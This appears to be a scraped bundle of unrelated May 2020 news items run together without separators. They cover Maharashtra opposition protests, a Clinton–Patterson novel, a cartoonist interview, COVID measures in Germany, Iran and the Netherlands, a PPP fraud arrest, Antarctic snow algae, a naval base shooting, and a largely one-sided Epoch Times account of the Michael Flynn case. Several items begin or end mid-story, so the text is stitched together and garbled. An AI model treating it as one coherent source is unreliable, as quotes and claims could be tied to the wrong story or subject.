Mumbai, May 22 : Sporting blacks face masks, bands and jackets, the opposition Bharatiya Janata Party (BJP) launched the 'Maharashtra Bachao' agitation, carrying banners and posters criticizing the ruling Maha Vikas Aghadi (MVA) for its failure to handle the Covid-19 pandemic, here on Friday.

Leading the agitation in Mumbai, Leader of Opposition Devendra Fadnavis also demanded a Rs 50,000 crore package for farmers, labourers and unorganized sector workers who are hit due to the Covid-19.

Braving the high summer temperatures, other party leaders elsewhere including state BJP chief Chandrakant Patil, turned the heat on Chief Minister Uddhav Thackeray and the Shiv Sena-Nationalist Congress Party-Congress alliance for falling short on all fronts to tackle the pandemic.

Citing figures, Fadnavis alleged that though Maharashtra has 30 per cent of all patients and 40 per cent of all Covid-19 deaths in the country, the MVA has been unsuccessful in tackling the crisis.

"The hospitals are full, there are no ambulances available, there is no food in quarantine centres, private hospitals are charging exorbitant amounts due to which the common people are unable to afford Covid-19 treatment. But the government has done nothing despite the seriousness of the crisis," he said.

He demanded that the government must treat all Covid-19 patients free of cost, all private hospitals must mandatorily admit such patients and 80 per cent of beds in private healthcare institutions must be allotted at government rates to bring succor to the masses.

Hitting out at the BJP, the ruling MVA constituents termed the protests as "treason" and "anti-Prime Minister Narendra Modi", and an effort to save the BJP more than the state in this hour of crisis gripping Maharashtra.

"This protest is 'anti-Modi' since the state government is working as per the directions and advice of the Centre. They (state BJP) would have got some public sympathy if they had come out and protested when the government shifted the International Financial Service Centre (IFSC) headquarters to Gujarat," slammed Shiv Sena MP Sanjay Raut.

Tourism Minister Aditya Thackeray said: "Absolutely shameful, what lust for power politics can make leaders do. Making kids stand in the heat, with their masks lowered, not covering the face for a political protest when we need to keep them safe and indoors." Without naming the BJP, Thackeray Jr added: "One political party state unit has set a new low and a new world record - the only party in the world to indulge in politics and in spreading fear, hate and division when the world has forgotten all of it to help each other. This party has forgotten the pandemic." Nationalist Congress Party leaders used a hashtag #MaharashtradrohiBJP to lampoon Fadnavis and the agitation accusing them of indulging in politics when the state is in the throes of a major health crisis.

"Think once before holding black (placards) in hand, whether you are insulting doctors, policemen and health workers who are working round-the-clock for Maharashtra! Whether you are committing treason with Maharashtra," said State NCP President and Water Resources Minister Jayant Patil.

State Congress President and Revenue Minister Balasaheb Thorat dismissed it as "a farcical protest which was an attempt to save the BJP rather than Maharashtra".

"Look at the MVA leaders and workers who are working day and night, BJP is not seen anywhere and to show its presence, it has launched this agitation. Instead of running to Raj Bhavan frequently, they should be rushing forward to help the people," he said.

Thorat said the MVA and people would have greatly appreciated if Fadnavis had secured an economic package from the Centre for Maharashtra, but they are not ready to listen as their commitment lies with the BJP central leaders.

Other senior leaders like NCP Housing Minister Jitendra Awhad, Congress state spokesperson Sachin Sawant and Sena spokesperson Manisha Kayande slammed the BJP for indulging in politics instead of cooperating with the state government which is immersed in fighting the Covid-19 pandemic.

The NCP posted below the 'MaharashtradrohiBJP' hashtag how the Maharashtra unit leaders, MPs and MLAs donated to PM-CARES Fund instead of CM Relief Fund, advocated for PM when the IFSC was shifted to Gujarat and tried to politicise the Palghar lynching incident but refrained when they learnt that some of those arrested were BJP leaders.

(Quaid Najmi can be contacted at: q.najmi@ians.in)

Latest updates on Coronavirus (COVID-19)
The two-term Democratic leader co-wrote the thriller entitled "The President's Daughter" with renowned author Patterson, the pair's second book following 2018's behind-the-scenes White House drama "The President is Missing."

The duo's debut, centered on cyberattack dangers, sold more than 3 million copies.

"Working with @BillClinton has been a highlight of my career and I'm thrilled to have the chance to write with him again," tweeted the American bestselling writer Patterson in announcing the new release.

According to a summary of the novel set for publication in the US June 2021, the plot centers on a former president who hopes to lay low after losing a second term, only to have an "imminent threat" to his daughter force him back into action.

The 73-year-old Clinton has written a number of books, including his post-presidential 2004 best-selling memoir "My Life."

His own daughter Chelsea Clinton is also an author of several childrens books.

The prolific Patterson -- famous for titles including "Kiss the Girls" and "Along Came a Spider" -- is the globe's top-earning author, with Forbes valuing him at $94 million.
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This interview presents a conversation with Ignatz award-winning cartoonist Noah Van Sciver ( Fante Bukowski, Grateful Dead: Origins, Disquiet, Please Don't Step On My JNCO Jeans, One Dirty Tree, Blammo, Saint Cole, More Mundane, Constant Companion, 1999, The Hypo: The Melancholic Young Lincoln) about his life, art and work.

Jeffery Klaehn: In addition to winning an Ignatz award in 2016 for your autobiographical mini-comic, My Hot Date, you were nominated for multiple Ignatz awards throughout 2010 to 2016 for Outstanding Comic (Blammo #6 and #8), Outstanding Artist (Saint Cole and Disquiet), Outstanding Graphic Novel (Saint Cole), and Outstanding Minicomic (The Death of Elijah Lovejoy). You were nominated for an Eisner Award in 2016 for Best Writer/Artist (Fante Bukowski) and A Perfect Failure: Fante Bukowski Three was nominated for an Eisner in the Best Humor Publication category. How do you define success at this point in your career, Noah? What does it mean for you?

Noah Van Sciver: Success in comics to me is a publisher and readers that have faith in you and the stories that you want to tell. A publisher that is happy to help you put your ideas together no matter what they are. Those aren't things that come easy, and you've really got to earn them!

JK: Your The Complete Works of Fante Bukowski released earlier this year from Fantagraphics and is available in both hardcover and digitally via Kindle. It's 450 pages and collects all three volumes of your Fante Bukowski graphic novels, with extensive bonus material. What inspired these works and how might you describe them to potential new audiences? Is it fair to say the story is darkly comedic, laced with very real world, relatable observations of people and the human condition?

NVS: Well, Fante Bukowski was a character I made up in 2014 while working at a used bookstore in Denver, Colorado and coming into contact with many young men who were self-styled poets and alcoholic writers. When I started to travel around doing zine festivals and readings for my own mini-comics and graphic novels I still met many people who were like Fante Bukowski in the small press. So in my sketchbook I began to draw an amalgamation of all of them. Which, if I'm honest, included myself and my own desperation as well. I posted the comics about this new character on social media and it really took off! Everyone seemed to know a person or people just like Fante Bukowski. The character is funny, and I've noticed that many of the people who haven't liked his comics are reacting to it hitting a little too close to home.

JK: What led you to become a cartoonist, Noah?

NVS: When I think about it, I've always been a cartoonist. I was always drawing my own comics as a kid, and besides a time in my teen years when I decided I'd try to be a painter, I have continued drawing cartoons. I can't help it, the line that my hand makes is cartoony!

JK: Your work is often awesomely funny. How do you see humor playing into your work, sensibilities and art?

NVS: I laugh at most things other people find terrible. Because I grew up in a poor family and starved and dealt with embarrassment from childhood, I developed a pretty dark and tragic sense of humor. A lot of the jokes I write are about people saying awful and frightening things. Haggard people. I think that may be a reflection on my own life story and what I think of myself sometimes

JK: Please tell me about your Grateful Dead: Origins graphic novel, published with Z2 Comics. How did the work come about, what drew you to it, and how long did it take you to produce?

NVS: It's a very exciting project to work on! Obviously, being a fan of the 1960s and 1970s Underground Comix scene, the Grateful Dead seemed like a soundtrack to all of that LSD-fueled comics mayhem, and that's what inspired me to take on the book, and what I tried to bring to it artistically. I'm not an artist that can illustrate a documentary on paper but I can portray real events through my own filter and create a graphic novel that fans and comics readers will get something entirely new and different out of. The writer on the book was Chris Miskiewicz and the task of boiling down those early Warlocks and Grateful Dead years into 125 pages was an immense feat, and I think he did a wonderful job.

It took me about a year to finish the drawing and it was a pretty intense year of work!

JK: A collector's deluxe edition of the work will be available on June 12th and a standard edition will follow on June 19th?

NVS: That's the word on the street. It was supposed to have come out in April, but the Covid crises halted everything, of course.

JK: Thanks so much for the interview Noah!! Please share what you can about what you're working on at present.

NVS: Thank you! At present I'm still chugging along on a graphic novel called "Joseph Smith and his Mormons" all about the origins and foundations of the Church of Jesus Christ of Latter-Day Saints. It's a history that I'm personally invested in learning, after being partly raised in the church (and later leaving). Also, I've started a YouTube channel to have cartoonist-to -cartoonist conversations about process and comics history! It's been a blast and everyone should subscribe!

Author Biographical Summary

Jeffery Klaehn resides in Canada and holds a PhD in Communication from the University of Amsterdam and a PhD in Sociology from the University of Strathclyde. His interests include pop culture, music, storytelling, comics and graphic novels, digital games, game design, and interactive fiction.
Source: Xinhua| 2020-05-22 20:47:02|Editor: huaxia

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BERLIN, May 22 (Xinhua) -- Preventive COVID-19 tests should be carried out in hospitals and nursing homes in Germany on a large scale, German Minister of Health Jens Spahn said on Friday.

"My goal is to present a regulation before the end of May that will enable preventive serial tests in hospitals and nursing homes," Spahn told the German newspaper Die Welt on Friday. "When patients and residents are hospitalized or transferred, SARS-CoV-2 (or novel coronavirus) testing should be the norm."

In the case of an infection in a facility, all staff, residents and patients should also be tested as a precautionary measure. Even symptom-free contacts of infected persons should have the right to be tested, Spahn added.

In the past few weeks, the Robert Koch Institute (RKI) had repeatedly pointed out that COVID-19 related deaths in Germany were likely to increase further as there were severe outbreaks of the disease in hospitals and nursing homes.

The risk to the health of German population was still high or even very high for risk groups such as the elderly, the RKI stressed in its daily situation report for Thursday.

Last week, the German parliament passed a law enabling the Ministry of Health to oblige statutory health insurance companies to pay for coronavirus tests, even if a person would not have any symptoms.

This decree would enable tests to be carried out on a "wider scale than previously possible," said the ministry.

"Last week, 425,000 tests were carried out throughout Germany. But the test capacity is more than twice as large," stressed Spahn.
By Trend

Some 1,228 tourists from Azerbaijan visited Turkey in April 2020, which is 97.7 percent less compared to the same period in 2019, Trend reports on May 22 referring to the Turkish Ministry of Culture and Tourism.

The share of Azerbaijani citizens in the total number of foreigners visiting Turkey in March 2020 amounted to 5.07 percent.

From January through April 2020, 123,415 tourists from Azerbaijan visited Turkey, which is 42.1 percent less compared to the same period in 2019.

The share of Azerbaijani citizens in the total number of foreigners visiting Turkey in the reporting period amounted to 2.9 percent.

According to the ministry, in April 2020, 24,238 tourists visited Turkey, which is 99.2 percent less compared to April 2019.

In the first 4 months of this year, over 4.2 million tourists visited Turkey, which is 51.2 percent more than in the same period of 2019.

Some 901,723 citizens of Azerbaijan visited Turkey in 2019, which is 5.03 percent more compared to 2018.

The share of Azerbaijani citizens in the total number of foreigners visiting Turkey in 2019 amounted to 2 percent.

---

Follow us on Twitter @AzerNewsAz
Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.
Name game: The Stobart brand is primarily associated with the trucks operated by Eddie Stobart Logistics. Photo: Chris J Ratcliffe/Bloomberg

THE UK's Stobart Group, which owns Dublin-based Stobart Air, has taken more than a 40m (45m) hit on the value of an agreement it inked in 2014 to sell the Stobart brand name and designs to the Eddie Stobart Logistics company.

It's now offloading the rights to begin a "fresh start" with a new brand.

Stobart Group will get a total of just 10m over the next three years after announcing yesterday that it is selling Stobart brand rights to Eddie Stobart Logistics. That compares to the 50m that Eddie Stobart Logistics had originally agreed to pay for the rights.

The deal will also see the Stobart Group, including embattled Stobart Air, changing its name. Stobart Air operates the Aer Lingus Regional service.

Under the terms of the licence agreement Stobart Group had that allowed Eddie Stobart Logistics to use the Stobart name, the group could have received at least 9m in the next three years in either paid or accrued fees from the logistics firm.

Stobart Group's last annual report notes that the licence agreement it had with Eddie Stobart Logistics allows the latter to use certain Eddie Stobart trademarks and designs for an initial period of 15 years from 2014. Eddie Stobart Logistics hived off from the Stobart Group in 2014.

The agreement also allowed Eddie Stobart Logistics to purchase the trademarks and designs for use in the logistics business for 15m, or to purchase the trademarks and designs for unlimited use for 50m.

Stobart Group will now receive an initial 6m on completion of the sale, while a further 2.5m is to be paid on or before December 1 this year. A final 1.5m payment isn't due until 36 months after the date of completion.

Stobart Group CEO Warwick Brady insisted the Stobart brand is "primarily associated" with the Eddie Stobart trucks that crisscross the UK's motorways. In a circular to staff seen by the Irish Independent, Mr Brady said that this has "often caused confusion" with Stobart Group's aviation, energy and engineering business.

"Given this confusion, we started looking at potential new brand names for the group toward the beginning of this year," he said.

"However, Covid-19 is changing a lot of our thinking around what we say about ourselves and how we plan to work," he added. "Therefore, we decided to accelerate this decision, believing there is an opportunity for a fresh start with a new brand."
Vladica Dicic, an ethnic Serb, has befriended an Albanian who visits regularly, describing him as her third son.

For a long time, the path leading to the abandoned village of Vagnes in eastern Kosovo has only been used by Fadil Rama.

Twice a week, he travels by car from his nearby village of Strezovce, two kilometres away, to support Vladica Dicic, a vulnerable 92-year-old woman and the only resident of Vagnes.

The gesture symbolises cohesion  Rama is an Albanian and Dicic is an ethnic Serb.

Inter-ethnic tensions and prejudice have not prevented their relationship from growing.

Im going to an old Serb woman named Vladica to give her food, Rama tells Al Jazeera, as he drives down the dirt path to her home.

Vagnes village, where a picturesque Orthodox church remains, has been deserted since the early 2000s; there is overgrown grass on rural roads.

Even when the village was populated, it was a quiet place, with about 20 people.

Ramas last visit was three days ago. Each time he approaches her house, he fears the worst and hopes for the best.

As Rama lays out the food he brought her on her table  bread, soup, bananas and some halva dessert, Dicic showers him with thanks.

May God help him, he visits me. I dont want to separate him from my sons. My sons are Djoka and Slobodan, and [he is] my third, she said.

You see [thanks to God], you are my third. You bring me everything.

Her son Slobodan, whose wife is unwell, lives in Kamenica  about a 20-minute drive away, while Djoka moved further, to Serbia.

The municipality of Kamenica provided the family with social housing, but Dicic refused to leave the home where she had spent her life, so was left alone in the village.

Theres no one here, she said.

What she misses the most is company, so partings are always hard.

Im leaving but Ill come again, goodbye, Rama says. Dont cry, Ill come, dont be afraid of anything.

In three days, Rama will return to this abandoned village.

Thank you so much for coming. Thank you God, Dicic says, unable to hold back the tears in her eyes.
Europes car industry has been put on alert for more job losses as the French government warned Renault could disappear if it didnt get help soon and a Japanese news report said partner Nissan was considering 20,000 layoffs, with many in Europe.

Renault and Nissan have been in a carmaking alliance for the past two decades and are due to announce a strategy update next Wednesday.
By Parisa Hafezi

DUBAI (Reuters) - Around 10,000 Iranian health workers have been infected with the new coronavirus, the semi-official ILNA news agency quoted a deputy health minister as saying on Thursday.

Health services are stretched thin in Iran, the Middle East country hardest hit by the respiratory pandemic, with 7,249 deaths and a total of 129,341 infections. The Health Ministry said in April that over 100 health workers had died of COVID-19.

No more details on infections among health workers were immediately available.

Earlier on Thursday, Health Minister Saeed Namaki appealed to Iranians to avoid travelling during the Eid al-Fitr religious holiday later this month to avoid the risk of a new surge of coronavirus infections, state TV reported.

Iranians often travel to different cities around the country to mark the end of the Muslim holy fasting month of Ramadan, something Namaki said could lead to a disregard of social distancing rules and a fresh outbreak of COVID-19.

"I am urging you not to travel during the Eid. Definitely, such trips mean new cases of infection...People should not travel to and from those high-risk red areas," Namaki was quoted by state television as saying.

"Some 90% of the population in many areas has not yet contracted the disease. In the case of a new outbreak, it will be very difficult for me and my colleagues to control it."

A report by parliament's research centre suggested that the actual tally of infections and deaths inn Iran might be almost twice that announced by the health ministry.

However, worried that measures to limit public activities could wreck an economy which has already been battered by U.S. sanctions, the government has been easing most restrictions on normal life in late April.

Infected cases have been on a rising trajectory for the past two weeks. However President Hassan Rouhani said on Wednesday that Iran was close to curbing the outbreak.

(Writing by Parisa Hafezi; Editing by Mark Heinrich)
The Hollywood sign in Los Angeles. (Mariah Tauger/For The Times )

Federal authorities on Friday arrested a Beverly Hills film producer on fraud charges after he allegedly paid off his personal credit cards using federal loans intended to help small businesses weather the coronavirus pandemic.

William Sadleir, 66, who was ousted as head of Aviron Pictures late last year, also faces separate criminal fraud charges and a lawsuit from the U.S. Securities and Exchange Commission in New York, where he is accused of swindling investors in his company of tens of millions of dollars in order to support his lavish lifestyle.

Sadleir, arrested by federal agents Friday morning, could not be reached for comment and did not have an attorney listed in court documents.

In the California case, prosecutors allege Sadleir applied for more than $1.7 million in Paycheck Protection Program loans backed by the Coronavirus Aid, Relief, and Economic Security Act, claiming the funding would allow Aviron subsidiaries to keep dozens of employees on the payroll.

However, within days of receiving the emergency funding, prosecutors said, Sadleir redirected nearly $1 million to his personal bank account, used it to pay down debt on his and his wife's American Express cards and attempted to make a $40,000 payment on a car loan, which his bank ultimately blocked.

An affidavit in the case notes that Aviron Group, Aviron Licensing and Aviron Releasing, the companies for which Sadleir sought the loans, are "not engaged in any ongoing operations," prosecutors said.

Officials from multiple federal agencies involved in the investigation condemned what they said was Sadleir's misuse of a program intended to help people, at a time when many employees in the film and other industries are in need of assistance.

The Paycheck Protection Program was implemented to help small businesses stay afloat during the financial crisis, and we will act swiftly against those who abuse the program for their own personal gain," said U.S. Atty. Nick Hanna.

Story continues

The California complaint  which charges Sadleir with wire and bank fraud and with making false statements to a financial institution and to the Small Business Administration  was filed Thursday and unsealed Friday after Sadleir's arrest.

He faces more than 80 years in prison on the four counts.

Separately, Sadleir is charged with two counts of wire fraud and with aggravated identity theft in New York, where U.S. Atty. Geoffrey Berman said he "orchestrated a massive fraud" involving tens of millions of dollars of investor funds in Aviron entities.

Prosecutors allege Sadleir embezzled about $14 million to pay for a Beverly Hills estate and illegally transferred more than $25 million in other funds to a sham marketing company he created.

Aviron helped distribute several films in the U.S. in recent years, including "My All American," "Kidnap," "The Strangers: Prey at Night," "A Private War," "Destination Wedding," "Serenity" and "After."

To keep up the ruse, FBI Assistant Director William F. Sweeney Jr. said, Sadleir "allegedly even went so far as to pose as a female employee of the sham New York-based company he created to further his illegal activity."

For the New York charges, Sadleir faces more than 40 years in prison.

He also faces a related civil case filed by the Securities and Exchange Commission, which seeks financial penalties against Sadleir.

In that lawsuit, commission attorneys allege that of about $75 million invested in Aviron by BlackRock Multi-Sector Income Trust, Sadleir inappropriately diverted $25 million to his sham company, misappropriated $13.8 million for a Beverly Hills mansion and forged investor signatures to release an additional $3 million in collateral funding.

He then "used the misappropriated money to support his lavish lifestyle, including cash withdrawals and the purchases of a luxury car and a mansion in Beverly Hills," the lawsuit said.

A BlackRock spokesman said the company, which has filed its own lawsuit against Sadleir, is "pleased that the government has moved swiftly to investigate and bring Mr. Sadleir to justice."
Using data from ESAs Copernicus Sentinel-2 mission and two field campaigns, a team of UK scientists has identified 1,679 blooms of Antarctic green snow algae, seasonally covering 1.95 km2 and equating to 1,300 tons total dry biomass.

Blooms of snow algae in Antarctica were first described by expeditions in the 1950s and 1960s.

They host a diverse range of algal species and are found around the Antarctic coastline, particularly on islands along the west coast of the Antarctic Peninsula. They grow in warmer areas, where average temperatures are just above zero degrees Celsius during the austral summer (November to February).

Dr. Matt Davey, a researcher in the Department of Plant Sciences at the University of Cambridge, and colleagues attempted to estimate the distribution, size and biomass of snow algal blooms across the entire the Antarctic Peninsula.

The scientists used images from ESAs Sentinel-2 satellite taken between 2017 and 2019, and measurements they made on the ground in Antarctica at Ryder Bay, Adelaide Island, and the Fildes Peninsula, King George Island.

We identified 1,679 separate blooms of green algae on the snow surface, which together covered an area of 1.95 km2, equating to a carbon sink of around 479 tons per year, Dr. Davey said.

Put into context this is the same amount of carbon emitted by about 875,000 average petrol car journeys in the UK.

Dr. Davey and co-author found that the distribution of green snow algae is strongly influenced by marine birds and mammals, whose excrement acts as a highly nutritious natural fertilizer to accelerate algal growth.

Over 60% of blooms were found within 5 km of a penguin colony. Algae were also observed growing near the nesting sites of other birds, including skuas, and areas where seals come ashore.

Almost two thirds of the green algal blooms were on small, low-lying islands with no high ground.

As the Antarctic Peninsula warms due to rising global temperatures, these islands may lose their summer snow cover and with it their snow algae.

However, in terms of mass, the majority of snow algae is found in a small number of larger blooms in the north of the Peninsula and the South Shetland Islands, in areas where they can spread to higher ground as low-lying snow melts.

As Antarctica warms, we predict the overall mass of snow algae will increase, as the spread to higher ground will significantly outweigh the loss of small island patches of algae, said Dr. Andrew Gray, a researcher in the Department of Plant Sciences at the University of Cambridge and NERC Field Spectroscopy Facility.

The teams paper was published in the journal Nature Communications.

_____

A. Gray et al. 2020. Remote sensing reveals Antarctic green snow algae as important terrestrial carbon sink. Nat Commun 11, 2527; doi: 10.1038/s41467-020-16018-w
The FBI is crediting sailors at a Texas air station with "potentially saving many innocent lives" when they thwarted what the agency has called a terrorism-related attack at their base Thursday.

"The FBI would like to recognize the bravery and heroism of the [Naval Air Station Corpus Christi] personnel who took quick action to prevent the shooter from entering the base," the agency's office tweeted Thursday.

Read next: Naval Air Station Corpus Christi Shooting 'Terrorism-Related,' FBI Says

Defense Secretary Mark Esper said that, when the gunman tried to get through the gate, he was stopped by a young sailor. The sailor, whose identity has not been released, suffered minor injuries and was released from the hospital Thursday.

"She's doing well, I understand," he told the "Today" show on Friday.

The gunman was killed, said Leah Greeves, the supervisory senior resident agent for the FBI's Corpus Christi office, in a brief Thursday press conference. No additional details about the attacker were released.

Federal, state and local law enforcement agencies are investigating the incident. The FBI has the lead, Esper said.

The gunman is not believed to have been affiliated with the Defense Department, he added.

"We hope to know more in the coming days as to what happened, what this person was motivated by," Esper said. "... But we need to let the facts come out and let the investigators do their job."

Greeves didn't say Thursday what led the FBI to determine the attack was terrorism-related. It marks the second attack on a Navy installation with ties to terrorism, following the December attack at Naval Air Station Pensacola in Florida.

That attack, which killed three sailors and injured eight others, was carried out by a Saudi officer training there who had ties to al-Qaida in the Arabian Peninsula, Justice Department officials announced this week.

"I am very concerned about both cases," Esper said on the "Today" show, detailing several new security measures that have been put into place following the Pensacola attack, including barring foreign military students from carrying weapons and limiting their base access.

There could be more policy changes, he added, as the FBI continues investigating the attacks.

"We're looking at additional measures we will take to ensure foreign-inspired terrorists do not have access to our posts, bases and installations -- and of course our country," he told Savannah Guthrie.

Officials at the FBI's Houston office say they're working nonstop to investigate this week's attack in Corpus Christi. They ask anyone with information about the incident to call 1800-CALL-FBI.

Greeves said Thursday that there could be a second person of interest at large in the community.

"If you see something, say something," she said.

-- Gina Harkins can be reached at gina.harkins@military.com. Follow her on Twitter @ginaaharkins.

Related: Pensacola Shooter Radicalized Years Before Terror Attack on Navy Base, FBI Says
Source: Xinhua| 2020-05-22 14:55:13|Editor: huaxia

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LANZHOU, May 22 (Xinhua) -- Chinese researchers have proposed a new correction approach to estimate land surface evaporation, according to a research article published in the Journal of Hydrometeorology.

Evaporation acts as an exchange function for soil moisture and air water vapor at the land-atmosphere interface. It is a principal factor in hydrological and energy exchange. However, estimations of evaporation have great uncertainties, which are regulated by multiple factors such as wind, temperature, specific humidity, soil and vegetation.

The researchers from Lanzhou University proposed a new modified approach for evaporation estimation using soil moisture changes and precipitation, which is different from the traditional method that calculates evaporation based on a water balance theory assuming that precipitation is the only source of evaporation, soil moisture and runoff.

The new approach effectively corrected the estimation of evaporation throughout the global land area and showed that evaporation decreased in western Asia, western United States, the Amazon basin and Central Africa, but weakly increased in the other study regions from 1984 to 2013, as discussed in the article.

Using the new approach, the researchers also discovered that the corrected evaporation was smaller in winter and high latitudes but larger in summer and low latitudes.

The study provides a method for estimating evaporation considering more restrictive factors on evaporation, said Wang Chenghai, the leading researcher of the study with Lanzhou University. Enditem
The owner of an abattoir in the eastern Netherlands says that health authorities have placed all 600 staff in home quarantine for two weeks after 45 workers tested positive for the coronavirus.

The meatworks is in Groenlo, close to the Dutch border with Germany. Authorities in Germany agreed this week to crack down on labor conditions in slaughterhouses following the discovery of clusters of COVID-19 cases.

Ronald Lotgerink, CEO of Vion Food Group that owns the abattoir said he was surprised by the infections. Vion is an international food company with production locations in the Netherlands and Germany.

As a crucial company, we took all necessary measures to ensure the protection and health of our staff, Lotgerink said in a statement Friday.

He added that the company and meat sector must learn from this quickly and change our behavior and share that with each other.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The subpoena, to a Democratic lobbying firm, has the air of grandstanding; the firm says it was willing to turn over material without the headline-grabbing move. But more than that: What is it, exactly, that the American people need to know on this topic? Hunter Biden was clearly hired as a Burisma director, and paid a lot for not much work, because of his father. He shouldnt have taken the job and has acknowledged as much.
Sidney Powell, author of the bestseller "Licensed to Lie "and lead counsel in more than 500 appeals in the Fifth Circuit, in Washington on May 30, 2019. (Samira Bouaou/The Epoch Times)

Flynns Guilty Plea Is Now Legally Irrelevant, His Lawyer Says

Nearly 30 months after initially pleading guilty, the case of former Trump adviser Lt. Gen. Michael Flynn is still not over, even after the Department of Justice (DOJ) dropped the case more than two weeks ago.

A confession of a crime usually signals a slam-dunk case for prosecutors, but in Flynns case, the guilty plea is now legally worth less than the paper its written on, according to his lead lawyer, former federal prosecutor Sidney Powell.

Flynn, former head of the Defense Intelligence Agency during the Obama administration and former national security adviser to President Donald Trump, pleaded guilty in December 2017 to one count of lying during an FBI interview.

The DOJ moved to drop Flynns case on May 7, saying the FBI interview wasnt based on a properly predicated investigation and thus the department couldnt prove beyond reasonable doubt that what he said was material to a legitimate investigation.

Materiality

The question of materiality is a crucial one as it strikes at the heart of the legal relevance of Flynns plea.

There are three elements to the crime of lying to the FBI. A person must say something that isnt true; the person must know its not true; and the lie must be material to the FBI investigation. Honest mistakes, misremembering, genuine lack of recollection, or lies inconsequential to the investigation dont count. The lie doesnt need to actually affect the investigation. It just needs to be one that could affect it.

The Statement of Offense attached to Flynns plea indeed states that his alleged lies had a material impact on the FBI investigation into Russian meddling in the 2016 elections and any Trump campaigns coordination with said meddling (pdf). But thats not something Flynn was in a position to vouch for, Powell pointed out.

He had to accept on faith that the questions [the FBI asked him] were material to a legitimate criminal investigation, even though that was not made clear to him at the time, she said in a May 19 petition, asking for an intervention in the case from a higher court.

The DOJ acknowledged as much in its motion to dismiss the case, saying that Flynn stipulated to the essential element of materiality without cause to dispute it insofar as it concerned not his course of conduct but rather that of the agency investigating him.

In fact, the district judge presiding over the case, Emmet Sullivan, hinted at the same issue during Flynns first sentencing hearing on Dec. 18, 2018.

Federal Rules of Criminal Procedure state in Rule 11 that before entering judgment on a guilty plea, the court must determine that there is a factual basis for the plea.

As such, Sullivan was required to check that Flynns alleged lies were material.

But he acknowledged during the hearing that he didnt do so.

Mr. Flynn admitted that his false statements or omissions impeded and had a material impact on the investigation, and when I ask questions of the government, I need to know answers about how he impeded the investigation and what the material impact on the investigation was, he said.

He never asked those questions during the hearing. At the end of the hearing, he acknowledged: It probably wont surprise you that I had many, many, many more questions.  These are questions that you would be prepared to answer anyway, such as, you know, how the governments investigation was impeded? What was the material impact of the criminality? Things like that.

Theres no sign in the court record that Sullivan has asked those questions since.

What did happen since then, on the other hand, was the emergence of additional evidence undercutting the materiality of Flynns statements.

Whats our goal? Truth/Admission or toget him to lie, so we can prosecute him or get him fired? wrote down then-FBI head of counterintelligence Bill Priestap in notes dated Jan. 24, 2017.

The FBI questioning seems to have been undertaken only to elicit those very false statements and thereby criminalize Mr. Flynn, the DOJ stated.

There are other problems with the plea as well.

Side Deal

Rule 11 further requires the court to determine that the plea is voluntary and did not result from force, threats, or promises (other than promises in a plea agreement).

In Flynns case, there actually was a threat and a promise left out of the deal.

In an April 24 court filing, Powell revealed emails that appear to show internal communications regarding the plea deal between Flynns previous lawyers from Covington & Burling.

We have a lawyers unofficial understanding that they are unlikely to charge [Flynn] Junior in light of the Cooperation Agreement, read one heavily redacted email sent on March 19, 2018.

The prosecutors, working under then-special counsel Robert Mueller, threatened to charge Flynns son based on allegations that Flynns now-defunct consultancy, Flynn Intel Group (FIG), lied in its foreign lobbying disclosures. Flynn Jr. worked for the firm.

Flynn and his wife said in declarations to the court that protecting their son was the main reason why Flynn agreed to the plea deal (pdf, pdf).

Another email, dated March 27, 2018, suggests the prosecutors intentionally kept the deal regarding Flynns son unofficial to make future prosecutions easier.

The government took pains not to give a promise to MTF [Michael T. Flynn] regarding Michael [Flynn] Jr., so as to limit how much of a benefit it would have to disclose as part of its Giglio disclosures to any defendant against whom MTF may one day testify, the email reads.

Giglio refers to a 1972 Supreme Court opinion that requires prosecutors to disclose to the defense that a witness used by the prosecutors has been promised an escape from prosecution in exchange for cooperation.

However, the issues go deeper still.

Conflict of Interest

Flynn has alleged that the Covington lawyers, whom he fired in 2019, kept crucial information from him.

He said that shortly before he signed the deal on Nov. 30, 2017, he again told the lawyers he didnt believe he was guilty. He told them to go back to the prosecutors and ask whether the FBI agents believed he lied to them. The lawyers did so and then informed him that the agents stand by their statements.

But the lawyers were actually told, among other things, that the agents had the impression at the time that Mr. Flynn was not lying or did not think he was lying, according to the prosecutors. Flynn said the lawyers didnt relay this information to him.

According to Flynn, the lawyers represented him ineffectively because of a conflict of interest.

As part of his statement of offense, Flynn affirmed that the FIG lobbying papers filed under the Foreign Agents Registration Act (FARA) contained false statements and omissions. He has since reneged on the plea. But the admission was crucial for Covingtons lawyers, because it was them who prepared the papers. If Flynn didnt take full responsibility for any and all problems with the disclosures, the prosecutors were likely to press charges and could have tried to get Covington to testify in the case.

The lawyers seemed very keen on preventing such a situation.

If we were to get to that point, we would litigate it very aggressively, said Robert Kelner, the lead Covington lawyer on the Flynn case in a Nov. 1, 2017, meeting with the prosecutors (pdf).

In order to get Kelner to testify, the prosecutors would have had to break through Flynns attorney-client privilege by claiming the crime fraud exceptionallege that Flynn conferred with Covington in furtherance of a scheme to lie on the lobbying papers.

The lead prosecutor, Brandon Van Grack, said at the time they were not considering such a move, but, as Kelner pointed out, the Special Counsel already used the exception against former Trump campaign chairman Paul Manafort.

As first-class lawyers, the ethical thing to do for Kelner and his colleagues was to take full responsibility for the FARA papers, according to Powell.

Thats what FIGs prior counsel, Rober Kelley, did. He was the one who filed the firms previous lobbying disclosures. The DOJ alleged there were problems with those too, but Kelley gave a declaration taking full responsibility (pdf).

Covington didnt appear inclined to such an approach. One of the lawyers even pondered whether disclosing the Kelley statement to the prosecutors could be detrimental.

I just had a flash of a thought that we should consider, among many many factors with regard to Bob Kelley, the possibility that the SCO [Special Counsels Office] has decided it does not have, wrt [with regard to] Flynn, the same level of showing of crime fraud exception as it had wrt Manafort. And that the SCO currently feels stymied in pursuing a Flynn-lied-to-his-lawyers theory of a FARA violation. So, we should consider the conceivable risk that a disclosure of the Kelley declaration might break through a wall that the SCO currently considers impenetrable. Much to consider, Covington lawyer Stephen Anthony said in an Oct. 30, 2017, email to his colleagues (pdf).

Powell didnt think the lawyers were concerned about Kelleys declaration itself.

They certainly were [concerned] with even the publicity risk of being mentioned in a crime fraud order, she told The Epoch Times in an email.

Covington specialized in preparing FARA disclosures and Flynns high-profile case had a potential for them to either attract or repel clients, depending on how it turned out.

